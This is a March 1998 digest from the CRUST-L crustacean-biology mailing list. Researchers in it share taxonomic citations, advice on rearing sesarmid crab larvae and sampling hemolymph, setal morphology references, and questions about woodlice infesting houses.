=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Wulf Kobusch"" Date: Wed, 18 Mar 1998 17:59:54 +0000 Subject: Re: CRUST-L: Scholtz' paper Dear Andreas, the reference is as follows: SCHOLTZ, G. (1995): Ursprung und Evolution der Flu=DFkrebse (Crustacea, Astacida). Sitzungsberichte der Gesellschaft naturforschender Freunde zu Berlin 34: 93-115. Best regards Wulf *********************************************************** Wulf Kobusch Ruhr Universitaet Bochum Lehrstuhl fuer Spezielle Zoologie Gebaeude ND 05 / 776 Universitaetsstrasse 150 44801 Bochum GERMANY phone: +49/(0)234-700-5577 or -4563 fax: +49/(0)234-7094-114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *********************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: NETO CAMPOS Date: Wed, 18 Mar 1998 09:41:33 -0800 Subject: RE: CRUST-L: Procambarus paenisulanus (author) Dear Amir The author and year are below noted. Procambarus (Scapulicambarus) paeninsulanus (Faxon, 1884). Best wishes. Ernesto. ***************************************** Ernesto Campos Professor of Zoology Profesor de Zoologia Facultad de Ciencias Universidad Autonoma de Baja California Apartado Postal 2300, Ensenada, Baja California 22800 Mexico U.S. ADDRESS 4492 CAMINO DE LA PLAZA (STE.ESE. 1108) SAN YSIDRO, CALIFORNIA 92173-3097 U.S.A. ***************************************** - -----Original Message----- From: Amir Sagi [SMTP:sagia@BGUMAIL.BGU.AC.IL] Sent: Wednesday, March 18, 1998 6:06 AM To: crust-l list Subject: CRUST-L: Procambarus paenisulanus (author) Dear Crust-lrs Does anybody knows the author for this crayfish? Procambarus paenisulanus (author?) Yours Amir ***************************************************** Dr. Amir Sagi Office: 972 7 6461364 Department of Life Sciences Lab: 972 7 6472668 Ben-Gurion University Fax: 972 7 6472890 P.O.Box 653 Beer Sheva 84105 Israel http://www.bgu.ac.il/life/sagi.html ***************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: propal@tin.it Date: Wed, 18 Mar 1998 21:01:36 +0100 Subject: CRUST-L: New catalogue Dear netters, My friends of Naturama have just issued their catalogue n. 8 devoted to shells and marine biology books. This catalogue can be see on-line or downloaded at: http://www.dada.net/naturama/kaka.html Naturama is a non-profit organization that deal as bookseller in order to raise funds for his searchs on marine biology in the Mediterranean and his educational projects. With regards Ciao from Italy Riccardo Giannuzzi-Savelli =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Keith Crandall Date: Wed, 18 Mar 1998 13:38:48 -0700 Subject: Re: CRUST-L: Procambarus paenisulanus (author) >Does anybody knows the author for this crayfish? >Procambarus paenisulanus (author?) Faxon first described this as a subspecies of Procambarus clarkii (then Cambarus clarkii) in 1914 (Memoirs of the Museum of Comparative Zoology at Harvard College, 40(8):351-427.). Hobbs later upgraded it to species (Procambarus paeninsulanus) in 1942 ""The Crayfishes of Florida"" University of Flordia Publication 3(2) pg. 104. Cheers, Keith ========================= Dr. Keith A. Crandall 574 Widtsoe Building Department of Zoology Brigham Young University Provo, UT 84602-5255 phone: (801) 378-3495 FAX: (801) 378-7423 keith_crandall@byu.edu ========================= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Bartlomiej Stanczyk Date: Wed, 18 Mar 1998 23:01:35 +0100 Subject: CRUST-L: contact Dear all, Could anybody send me Richard Brusca's e-mail? Thanks Bartlomiej Stanczyk stanczyk@kki.net.pl =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Brent Newman zool Date: Thu, 19 Mar 1998 09:59:45 +0000 (SAST) Subject: CRUST-L: Sesarmid larval culture Fellow members I am having some difficulty in rearing several species of sesarmid larvae and I hope you can provide some comments. The problem concerns the moult to the megalopa where almost all individuals are dying as a result of being trapped in the moult. Survival is good up until this moult but out of 200 larvae reared at various temperatures I have only had 2 individuals succesfully pass into the megalops. I have had this problem with S. eulimene and S. meinerti, and a colleague had the same problem with S. catenata. Are sesarmids notoriously difficult to rear? I have noticed that the Z5 seems not to be feeding that well? Could energetics be a problems? Any comments would be most appreciated? Regards Brent PS: The larvae are being reared on Artemia larvae (unknown strain - S catenata were reared on SFB brand however) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Amir Sagi Date: Thu, 19 Mar 1998 12:57:02 +0200 () Subject: RE: CRUST-L: Procambarus paenisulanus (author) Dear Crust-lrs I would like to thank all of you who answerd my queastion regading Procambarus paenisulanus (author?) It prooved again how eficient is our group when one needs help. Thanks and Cheers Amir ***************************************************** Dr. Amir Sagi Office: 972 7 6461364 Department of Life Sciences Lab: 972 7 6472668 Ben-Gurion University Fax: 972 7 6472890 P.O.Box 653 Beer Sheva 84105 Israel http://www.bgu.ac.il/life/sagi.html ***************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Amir Sagi Date: Thu, 19 Mar 1998 13:18:11 +0200 () Subject: RE: CRUST-L: Procambarus paenisulanus (author) (fwd) Dear Crust-lrs I would like to thank all of you who answerd my queastion regading Procambarus paenisulanus (author?) It prooved again how eficient is our group when one needs help. Thanks and Cheers Amir ***************************************************** Dr. Amir Sagi Office: 972 7 6461364 Department of Life Sciences Lab: 972 7 6472668 Ben-Gurion University Fax: 972 7 6472890 P.O.Box 653 Beer Sheva 84105 Israel http://www.bgu.ac.il/life/sagi.html ***************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Joe Staton Date: Thu, 19 Mar 1998 08:08:47 -0500 Subject: Re:CRUST-L: Sesarmid larval culture >Fellow members >I am having some difficulty in rearing several species of sesarmid larvae >and I hope you can provide some comments. The problem concerns the moult >to the megalopa where almost all individuals are dying as a result of >being trapped in the moult. Survival is good up until this moult but out >of 200 larvae reared at various temperatures I have only had 2 >individuals succesfully pass into the megalops. I have had this problem >with S. eulimene and S. meinerti, and a colleague had the same problem >with S. catenata. Are sesarmids notoriously difficult to rear? I have >noticed that the Z5 seems not to be feeding that well? Could energetics >be a problems? >Any comments would be most appreciated? >Regards >Brent >PS: The larvae are being reared on Artemia larvae (unknown strain - S >catenata were reared on SFB brand however) >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Those I have reared are not, but there are tricks to rearing any decapod larva. First, I would try switching artemia brands to a Chinese or Brazilian strain. In the past, Costlow and others reported problems with possible pesticides in low amounts in the SFB brand, but it has been definitely shown that the Chinese and Brazilian strains have higher amounts of PUFAs, which may be lacking in the diet of the sesarmids you are trying to rear. They cannot clear the exuvium because they lack the energy to complete molting. This metamorphosis is potentially the most stressful, as many crabs that I have reared (not THAT many, mind you) fail at this stage. Second, use only the freshest daily hatch for the same PUFA arguments listed above. As the nauplii get older, they are less rich in yolky material and may provide a sub-optimal diet. My fifth of a dime, Joe ___________________________________ Joseph L. Staton, Ph. D. Department of Invertebrate Zoology Museum of Comparative Zoology Harvard University 26 Oxford Street Cambridge, MA 02138 Phone: 617-495-2447 Fax: 617-495-5667 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: aharvey@AMNH.ORG (Alan Harvey) Date: Thu, 19 Mar 1998 10:27:45 -0500 Subject: CRUST-L: setae details Greetings, In my work on porcelain crabs, I've come across a few species with setae whose peculiarities are visible without an SEM. The setae have distinct proximal and distal regions, and a distinct internal core and external sheath; the internal core penetrates the external sheath distally; in one species, the distal half is flattened, and there are paired fine ""plumules"" radiating from the internal core. The setae are rather stout, and transparent (else, of course, I wouldn't be able to see much of the above!). A reviewer of my MS, in which I discuss these setae, asked if the inner core isn't ""just the lumen of the shaft within the seta,"" and if the ""plumules"" aren't just ""the dendritic canals that extend laterally from the central setal dendrite?"" I'm afraid my morphological expertise, such as it is, does not cover the internal morphology of setae! I will say that I don't see any of this internal structure in the thick bristles Does anyone out there have any information about this, including references? By the way, you can take a look at the setae at my web site (address below, click on the ""Odd setae"" button). Cheers, and thanks in advance! Alan - ------------------------------------ Alan W. Harvey (aharvey@amnh.org) Assistant Curator of Invertebrates American Museum of Natural History Central Park West at 79th Street New York, NY 10024 (212) 769-5638; fax (212) 769-5783 http://research.amnh.org/~aharvey =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: pnoel@CIMRS1.MNHN.FR (Pierre NOEL) Date: Thu, 19 Mar 1998 17:52:41 +0100 Subject: Re: CRUST-L: setae details >Greetings, >In my work on porcelain crabs, I've come across a few species with setae >whose peculiarities are visible without an SEM. The setae have distinct >proximal and distal regions, and a distinct internal core and external >sheath; the internal core penetrates the external sheath distally; in one >species, the distal half is flattened, and there are paired fine ""plumules"" >radiating from the internal core. The setae are rather stout, and >transparent (else, of course, I wouldn't be able to see much of the >above!). A reviewer of my MS, in which I discuss these setae, asked if the >inner core isn't ""just the lumen of the shaft within the seta,"" and if the >""plumules"" aren't just ""the dendritic canals that extend laterally from the >central setal dendrite?"" I'm afraid my morphological expertise, such as it >is, does not cover the internal morphology of setae! I will say that I >don't see any of this internal structure in the thick bristles Does anyone >out there have any information about this, including references? By the >way, you can take a look at the setae at my web site (address below, click >on the ""Odd setae"" button). >Cheers, and thanks in advance! >Alan You may want to see these references, from late Professor Pierre Drach (20 Sept.1906 - 6 Jan. 1998). Best regards, Pierre. #58 Drach P., Jacques F., 1976. Systeme setifere des Crustaces Decapodes. Insertion des soies sur l'exosquelette et donnees generales sur leur structure cuticulaire. Comptes rendus de l'Academie des Sciences de Paris, serie D, 282: 1869-1871, 7 fig. #59 Drach P., Jacques F., 1977. Systeme setifere des Crustaces Decapodes. Principes d'une classification generale. Comptes rendus de l'Academie des Sciences de Paris, serie D, 284: 1995-1998, 10 fig. #60 Drach P., Jacques F., 1978a. Systeme setifere des Crustaces Decapodes. Les groupements de soies et leur signification fonctionnelle. Comptes rendus de l'Academie des Sciences de Paris, serie D, 286: 61-64, fig. 1-9. #61 Drach P., Jacques F., 1978b. Systeme setifere des Crustaces Decapodes. Modalites de croissance des groupements de soies. Comptes rendus de l'Academie des Sciences de Paris, serie D, 287: 1337-1340, fig. 1-8. #62 Drach P., Jacques F., 1979. Systeme setifere des Crustaces Decapodes. Le systeme microsetal. Comptes rendus de l'Academie des Sciences de Paris, serie D, 288: 1103-1105, fig. 1-9. #63 Drach P., Jacques F., 1980. Systeme setifere des Crustaces Decapodes. Existence de structures en limbe dans les soies plumeuses. Comptes rendus de l'Academie des Sciences de Paris, serie D, 290: 1435-1438, fig. 1-9. #64 Drach P., Jacques F., 1982a. Dispositifs tegumentaires dorsaux lies aux mouvements de l'abdomen chez les crustaces Decapodes. Bulletin de la Societe zoologique de France, Paris, 107 (1): 127-135, 6 fig. #65 Drach P., Jacques F., Jeuniaux C., Voss-Foucart M. F., Bussers J. C., 1982b. Les expansions cuticulaires bordantes, formation nouvelle des Decapodes Natantia. Donnees morphologiques et biochimiques chez Palaemon serratus (Pennant, 1877). Bulletin de la Societe zoologique de France, Paris, 107 (2): 437-447, fig. 1, pl. I-II. Probably ... more information and reprint requests may be done now to : Dr. (Mrs) Francoise Jacques, Laboratoire Arago, CNRS & Universite Pierre et Marie Curie, F-66650 Banyuls-sur-mer, France Tel. +33 04 68 88 73 27; fax +33 04 68 88 16 99; telex ARAGOBA 505020F; e-mail fjacques@arago.obs-banyuls.fr Pierre Y. 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Silvia Ram=EDrez Luna Professor and reasercher in Marine Biology Bachelor Universidad del Mar,=20 Puerto Angel, Oaxaca.=20 Mexico Tel. y Fax: (958) 430-49 y 430-78 e-mail: viarezna@angel.umar.mx =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Zhao Jianhong Date: Fri, 20 Mar 1998 12:23:26 +0800 (SST) Subject: CRUST-L: again crustacean hemolymph anticogulant Hi, All, Does anybody know whether heparin is an appropriate anticogulant for crab hemolymph which is for measurements of some enzyme acitivities and metabolite levels? cheerio! J.H. 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Did you hear about the ""shrimp virus"" that causes computers to.... - -----Original Message----- From: Jeffrey Shields To: Bartlomiej Stanczyk Cc: crust-l@VIMS.EDU Date: Thursday, March 19, 1998 5:59 PM Subject: Re: CRUST-L: ATTENTION !!!! >> ********VIRUS ALERT********** > >All of these viruses are hoaxes... > >For more information about virus hoaxes, see http://www.kumite.com/myths > >Cheers, Jeff >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: John Campbell McNamara Date: Fri, 20 Mar 1998 08:56:08 +0000 Subject: Re: CRUST-L: methods for obteining hemolymph Silvia, I presume these are fairly small crustaceans. You will probably need to aspirate the hemolymph sample directly from the cardiac region into a glass micropipette pulled out to a fairly fine tip. The pipette should contain water-equilibrated paraffin oil. Aspirate another drop of oil after the sample to avoid water loss by eveporation through the pipette tip. I presume you would then estimate osmolality from freezing point depression of the sample in a cryochamber of some sort. I hope this suggestion helps. regards, John McNamara. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ John Campbell McNamara mailto:jcmcnama@ffclrp.usp.br Biologia, FFCLRP, USP, Ribeir�o Preto 14040-901, SP, Brasil Tel +5516-602-3687 FAX +5516-633-3666 http://www.ffclrp.usp.br =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 20 Mar 1998 09:15:29 -0500 (EST) Subject: CRUST-L: woodlice invasions Please respond to Karel Wouters, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- X-Sender: wouters@d5100.kbinirsnb.be X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: crust-l@vims.edu From: Karel Wouters Subject: woodlice invasions Dear colleagues, During the last couple of years I have been repeatedly contacted by people asking for information or help because their houses, buildings, appartments were invaded by woodlice (in most cases Porcellio scaber). These invasions were sometimes massive, with incredibly large numbers of woodlice being found inside houses. In some instances this situtation even led to juridical conflicts between owners and renters. Is there literature available on this subject? Why do woodlice invade houses? What can be done against these invasions? Etc. Thanks. Karel Wouters - --------------------------------------------------------------- Prof. Karel WOUTERS Telephone : + 32.2.62.74.336 Koninklijk Belgisch Instituut FAX (new): + 32.2.62.74.141 voor Natuurwetenschappen Department of Invertebrates Vautierstraat 29 B-1000 Brussels, Belgium e-mail : kwouters@kbinirsnb.be Note: new fax-number! - --------------------------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chuck Booth Date: Fri, 20 Mar 1998 09:45:19 -0500 Subject: Re: CRUST-L: methods for obteining hemolymph The method for extracting depends somewhat on the organism. For most shrimps, crayfish,lobsters, and crabs you can insert a small-gauge hypodermic needle or capillary tube through an arthrodial membrane at the base of a walking leg to obtain venous (prebranchial) hemolymph. For shrimps and lobsters, you can also insert the needle or tube through the arthrodial membrane at the junction between the cephalothorax and abdomen (dorsal side) and obtain arterial (postbranchial) hemolymph from the pericardial cavity. Small (0.5-1 ml) glass syringes with snug-fitting plungers work best (Hamilton syringes designed for loading gas chromatographs, with short (2-3 cm) needles, work best of all). Disposable plastic syringes will also work, though I try to avoid them. If the hemolymph doesn't clot rapidly, it should flow into the capillary tube; gentle suction is needed with the syringe. Transfer the hemolymph to a small tube and chill on ice; if it clots in the syringe you may never get it clean! It is standard procedure to let the hemolymph clot for a few minutes, break the clot up with a glass rod or tissue homogenizer, centrifuge to separate the serum from the clot, then analyze the serum. Decapods have a hemolymph volume of about 30% of body weight, and can generally tolerate a loss of up to about 5% of their hemolymph over a short period; if there is not much 'bleeding' you may be able to sample repeatedly from individual animals (e.g, before and after a salinity change). Chuck Booth >Dear crusters: >I`m looking for some accesible metodologies to obtain crustacean hemolymph. >The main porpouse is to introduce physiology students in some techniques to >study marine organisms. The amount of hemolymph ranges from 0.5 - 2.5 >microliters in order to study osmolality variations. Could someone helpme?? > >Thanks in advance >Sincerely >Biol. Mar. Silvia Ram=EDrez Luna >Professor and reasercher in Marine Biology Bachelor >Universidad del Mar, >Puerto Angel, Oaxaca. >Mexico >Tel. y Fax: (958) 430-49 y 430-78 >e-mail: viarezna@angel.umar.mx > >----------------- >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >----------------- - ------------------------------------ Dr. Charles E. Booth Department of Biology Eastern Connecticut State University 83 Windham St. Willimantic, CT 06226 U.S.A. Ph: 860-465-5260 =46ax: 860-465-5213 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: peter@VIMS.EDU (Peter van den Hurk) Date: Fri, 20 Mar 1998 12:05:59 -0500 Subject: Re: CRUST-L: woodlice invasions It was just the other day that I was told that toads are a very effective, non-poisonous treatment against roaches. Let go a few toads in your kitchen, and they will clean the house from roaches, and you never see the toads because they hide behind the fridge and under the sink. Maybe they also like woodlice? Cheers, Peter >Please respond to Karel Wouters, and not to me. >Thanks, >Jeff > >---------- Forwarded message ---------- >X-Sender: wouters@d5100.kbinirsnb.be >X-Mailer: Windows Eudora Light Version 1.5.2 >Mime-Version: 1.0 >Content-Type: text/plain; charset=""us-ascii"" >To: crust-l@vims.edu >From: Karel Wouters >Subject: woodlice invasions > >Dear colleagues, >During the last couple of years I have been repeatedly contacted by people >asking for information or help because their houses, buildings, appartments >were invaded by woodlice (in most cases Porcellio scaber). These invasions >were sometimes massive, with incredibly large numbers of woodlice being >found inside houses. In some instances this situtation even led to juridical >conflicts between owners and renters. > >Is there literature available on this subject? Why do woodlice invade >houses? What can be done against these invasions? Etc. >Thanks. >Karel Wouters > > >--------------------------------------------------------------- > Prof. Karel WOUTERS Telephone : + 32.2.62.74.336 > Koninklijk Belgisch Instituut FAX (new): + 32.2.62.74.141 > voor Natuurwetenschappen > Department of Invertebrates > Vautierstraat 29 > B-1000 Brussels, Belgium e-mail : kwouters@kbinirsnb.be > > Note: new fax-number! >--------------------------------------------------------------- > > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Henry-Michel Cauchie Date: Fri, 20 Mar 1998 18:47:25 +0100 Subject: CRUST-L: other question about woodlice invasion Dears Crusters, I observed in my house in Belgium woodlice invasions in spring and summer 1995 and 1996. There were woodlice everywhere! Under every flowerpot, in every tree hole and in the cellar: thousands of woodlice. Concurrently, we noticed that the woody window frames, which had been placed ten years before, were degradated in some places. We thought that it was caused by fungi but the holes were full of woodlice. So, my question is : does anyone know cases of woody structure damages in buildings caused by woodlice? Which are the feeding habits of these animals? Are they xylophageous and thus directly responsible for wood destruction? Or find we them there because there is moisture? Thank you very much in advance, Henry-Michel Cauchie CRP-CU CREBS 162a, avenue de la Faiencerie L-1511 LUXEMBOURG LUXEMBOURG Tel. (+352) 46.66.44.416. Fax. (+352) 46.66.44.413. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: John Campbell McNamara Date: Fri, 20 Mar 1998 15:17:51 +0000 Subject: Re: CRUST-L: methods for obteining hemolymph Silvia, I may have misunderstood your original post, but I think you mentioned sample volumes of between 0.5 and 2.5 microliters. It would be very difficult to obtain this volume using a hypodermic needle and syringe where the void volume (volume which cannot be expelled by the plunger) is about 1.5 microlitres for a 3 cm x 0.3 mm internal diamter needle. Of course, if you meant a sample volume of 0.5-2.5 milliliters then following Chuck's suggestions would be the best way. John McNamara 